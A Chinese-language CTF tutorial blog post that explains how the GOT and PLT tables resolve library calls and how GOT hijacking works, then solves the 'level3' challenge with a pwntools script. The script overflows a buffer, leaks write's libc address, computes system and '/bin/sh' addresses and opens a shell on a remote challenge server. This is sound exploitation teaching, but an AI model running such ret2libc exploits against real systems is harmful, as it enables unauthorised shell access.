CTF|关于GOT表和PLT表的学习

参考链接
https://mp.weixin.qq.com/s/yf55JtvSKK70AuqBIpVNTA
我们先看来自ctf-wiki上的解释
hijack GOT,
打个比喻,可以理解为偷梁换柱,修改某一个被调用函数的地址,让其指向另一个函数,例如修改printf()函数的地址让其指向system(),这样做的结果就是原本对于printf()的调用就变成了调用system()函数。
然后我们首先要理解函数调用时发生了什么,才能实现这个过程。
1.程序对于外部函数的调用需要在生成可执行文件时将外部函数链接到程序中,(C语言应该讲过)链接的方式分为静态链接和动态链接。静态链接得到的可执行文件包含外部函数的全部代码,动态链接得到的可执行文件中并不包含外部函数的代码,而是运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,再在发生调用时去链接库定位所需的函数。
怎么理解呢,这里打个比喻,静态链接是给你一件成品武器,调用时直接整个武器都已经组装好了到你手里,动态链接是给你一个武器库,调用时去武器库里找相应的武器。
CTF|关于GOT表和PLT表的学习
文章图片

那么动态链接是如何找到对应的武器的呢,这个过程就需要用到我们这篇文章要介绍的GOT表和PLT表了.
GOT表全程是全局偏移量表,用来存储外部函数在内存的确切地址,GOT表存储在数据段,(在IDA中是也就是.data段)可以在程序运行中被修改。PLT表全程是程序链接表,用来存储外部函数的入口点,换而言之程序总会到PLT这里寻找外部函数的地址。(我个人理解为挂号更形象)。PLT存储在代码段内,在运行之前就已经确定并且不会被修改,所以PLT并不会知道程序运行时动态链接库被加载的确切位置。那么PLT表内存储的入口点是什么呢,就是GOT表中对应的条目的地址。(从PLT挂号到GOT号诊室就诊。)
CTF|关于GOT表和PLT表的学习
文章图片

从图也可以看出来,从PLT获取到地址后跳转到对应的GOT中,并且PLT一般在低地址。
CTF|关于GOT表和PLT表的学习
文章图片

【CTF|关于GOT表和PLT表的学习】然后仔细思考我们会发现一个问题,那就是为什么要多此一举,不直接把所有外部函数的内存的地址放如GOT表,只使用GOT表不是更加的方便么,为什么要多弄一个PLT表。
原因是为了程序的运行效率,GOT表的初始值都指向PLT对应的某个片段中,而对应的PLT片段中包含能够解析函数地址的函数。(提高效率的原因就在这里)所以当一段程序需要调用某个外部函数时,先到PLT中寻找对应入口点再跳转GOT表。
如果这是第一次调用这个外部函数,那么程序会通过GOT表再次跳转回PLT表,然后运行解析地址的函数来确定函数的确切地址,并用这个确切地址覆盖掉GOT表的初始值,然后再进行函数调用。这样我们第二次调用这个函数时,程序就会通过PLT表跳转到GOT表中,此时GOT表已经存有获取函数的内存地址,所以会直接跳转到函数所在的地址执行函数。
CTF|关于GOT表和PLT表的学习
文章图片

CTF|关于GOT表和PLT表的学习
文章图片

CTF|关于GOT表和PLT表的学习
文章图片

这样提高效率的原因是将“解析外部函数的内存地址”这一步留到实际调用时才进行,而非程序一开始运行就解析出全部地址。
于是我们的漏洞利用思想也是基于这里,那就是到GOT表中将函数A的地址改为函数的地址,那么这样后面所有对于函数A的调用都会执行函数B
例如将printf()函数的地址修改为system(),那么我们后面所有调用printf函数都会变成调用system函数
CTF|关于GOT表和PLT表的学习
文章图片

那么我们的利用步骤如下
第一步:确定函数A在GOT表中的地址,和函数B在内存中的地址,将函数B的地址写入函数A在GOT表中。
(例如我们知道了printf函数在GOT表中的位置,以及system函数在内存中的地址,就可以将system写入GOT表替代printf)
那么,我们如何确定printf函数在GOT表中的地址呢
程序调用函数时通过PLT表跳转到了GOT表的对应条目,所以我们当然可以在函数调用的汇编指令中找到PLT表中该函数的入口地点,从而定位到该函数在GOT表中的对应条目。
CTF|关于GOT表和PLT表的学习
文章图片

例如我们看下面这句汇编语言,就说明了printf函数在PLT表中的入口点是0x08048430,所以0x08048430处存储的就是printf函数在GOT表中所存储的位置。
CTF|关于GOT表和PLT表的学习
文章图片

然后是确定函数B(system函数)在内存中的地址
如果系统开启了内存布局随机化,程序每次运行动态链接库的加载位置都是随机的,就很难通过调试工具直接确定函数的地址。加入函数B在栈溢出之前被调用郭,我们就可以通过前一个问题的答案(从GOT表中获取已有的地址)。
但是一般情况下往往没有那么理想。
然而,函数在动态链接库的相对位置是固定的,并且在动态库生成时就已经确定。加入我们知道了函数A的地址,同时也知道函数A和函数B在动态链接库的相对位置,就可以推算出函数B的地址。
CTF|关于GOT表和PLT表的学习
文章图片

然后如何实现对GOT表的修改呢,(一般用到我们的ROPgadget工具,那么就看我另外的文章了。)
CTF|关于GOT表和PLT表的学习
文章图片

然后我们来看一道例题
这道题目其实就是攻防世界新手区的level3
32位,然后看main函数,没什么东西
CTF|关于GOT表和PLT表的学习
文章图片

也没什么东西,wirte函数意为从Input:\n中输出7个长度的内容
而且这题我们在程序内部查找后并没有发现相关的system函数和/bin/sh这个字符串
CTF|关于GOT表和PLT表的学习
文章图片

这题我们就要通过程序加载的libc里面的库函数system和/bin/sh字符串来达到我们的目的,同时利用刚学到的GOT表和PLT表的漏洞来获取flag。
首先当程序开始运行的时候,会把整个的libc映射到内存空间里面,后面程序调用相关库函数的时候,就会依照上面介绍的PLT和GOT的机制,将所需要的库函数加载到内存空间的某个虚拟内存地址之中。然后调用就会通过PLT-GOT表跳转到真正的函数内存地址处完成功能。
然后我们利用刚才的原理,通过write函数泄露write函数的真实地址,然后通过write函数的真实地址计算出system和"/bin/sh"的真实地址,然后跳转过去执行,这就需要我们进行两次溢出
这道题自带的库是libc_32.so.6,我们把它放入IDA,然后ctrl+F搜索system和wirte
system为0x3A940
CTF|关于GOT表和PLT表的学习
文章图片

write为0xD43C0
CTF|关于GOT表和PLT表的学习
文章图片

不过不知道为什么找不到/bin/sh(希望有哪位老哥知道的告诉我一下)不过对做题目不影响,这里只是看一下libc库里面的东西而已。
CTF|关于GOT表和PLT表的学习
文章图片

然后我们就可以开始写exp了。
第一种不使用LibcSearcher的写法

from pwn import *context.log_level = 'debug' p=remote('111.198.29.45' ,'37701') elf=ELF('./level3') libc=ELF('./libc_32.so.6')write_plt=elf.plt['write'] write_got=elf.got['write']#对应第一步,确认被替代的函数A(write)在got表和plt表中的位置 main_addr = elf.symbols['main']#这里还要找到write函数的返回地址(write函数的返回地址正是main函数)payload='a'*0x8C+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) #这里通过溢出使程序指向write在plt上的地址,让plt上的write被执行一次,然后依次传入write函数的三个参数p32(1)+p32(write_got)+p32(4),下面有解析,总之这样让我们从wirte的got表上读取了四位内存信息 #按照函数-》返回地址-》参数1-》参数2-》参数3这样顺序的原因以前的文章讲过,参数最后返回) p.sendlineafter('Input:\n', payload) write_addr=u32(p.recv())#上面接收了,这里赋值libc_base=write_addr-libc.symbols['write']#通过两者相减,计算libc与实际在got表中的差值,以此计算system与libc的差值 print'libc_base is' ,libc_basesys_addr = libc_base + libc.symbols['system'] bin_addr =libc_base+libc.search('/bin/sh').next()#查找函数用symbols,查找字符串用search().next()下面有图payload='A' * 0x8C+p32(sys_addr)+'AAAA'+p32(bin_addr)#再次发送payload p.sendline(payload) p.interactive() p.close()

write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)。write函数的优点是可以读取任意长度的内存信息,即它的打印长度只受len参数控制,缺点是需要传递3个参数,特别是在x64环境下,可能会带来一些困扰。
(所以上面的脚本中我们就是把其中的addr换成了write_got,让我们读取到了write在got中的信息)
这里我们要解释一下write函数
CTF|关于GOT表和PLT表的学习
文章图片

    推荐阅读